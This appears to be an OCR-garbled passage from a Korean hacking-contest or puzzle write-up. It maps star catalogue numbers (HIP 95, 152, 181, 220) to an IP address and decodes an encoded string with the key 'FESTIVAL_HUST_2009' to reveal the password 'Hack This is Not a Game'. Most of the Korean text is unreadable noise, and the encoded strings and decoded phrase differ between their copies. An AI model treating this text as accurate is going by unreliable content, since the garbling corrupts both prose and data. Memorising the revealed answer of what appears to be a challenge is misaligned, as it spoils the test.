7T APHO| RA==01F Aol HIoHH|, SZt&ZH (HIP nnn)0|2td HE{H
o

i
AS LHe + A=, o ZopEE UL

HIP 95
HIP 152
HIP 181
HIP 220
HIP 325
HIP 412
HIP 982
HIP3250|2 2+ EQQ, O 220, 181, 152, 95 A2 IPE Ot=M,
CIEAHQF Hl WA St 220.95.152.181F L Lt O2|0 O St EH
{Jupiter

Bhe 240 eLic

A H

dZ 20z dZsta ™ot o|X|7t Ha L.

m}tl

=34 -




Input_Text :
Input_Key__:
EncodeData_:
DeCodeData:

MyKey : FESTIVAL_HUST_2009

MyEnCodeData: MTQIMzYINDgINjMIMTAICDIINDEIMzcINDQIMTAOCDYwCDMyCDExNggxNwgSMwg20AgxNgg40AgxMDIIMgglMAg1NwgONAg=
= L [ = XL 0

TextE Y5, 20| 9= MyEncodeDataE XF= ZH & LICH
L = A O i A

Keye Ats2oz= ALY Mz &5 & E27F lsLIth

Ol7IMEHE FHE A& oBSL
2=,

Input_Text_: Hack This is Mot a2 Game

Input_Key__: FESTIVAL_HUST_2009

EncodeData_: MTQIMzYINDgINjMIMTALCDIINDEIMzcINDQIMTAOCDYwCDMyCDExNggxNwgSMwg20AgxNggd4OAgxMDIIMgg1MAg 1 NwgONAg=
DeCodeData: Hack This is Not 2 Game

MyKey : FESTIVAL_HUST_2009
MyEnCodeData: MTQIMzYINDgINjMIMTA1CDIINDEIMzcINDQIMTAOCDYwCDMyCDExNggxNwg5Mwg20AgxNgg40DAgxMDIIMgg1MAg1NwgONAg=

Password : Hack This is Not a Game
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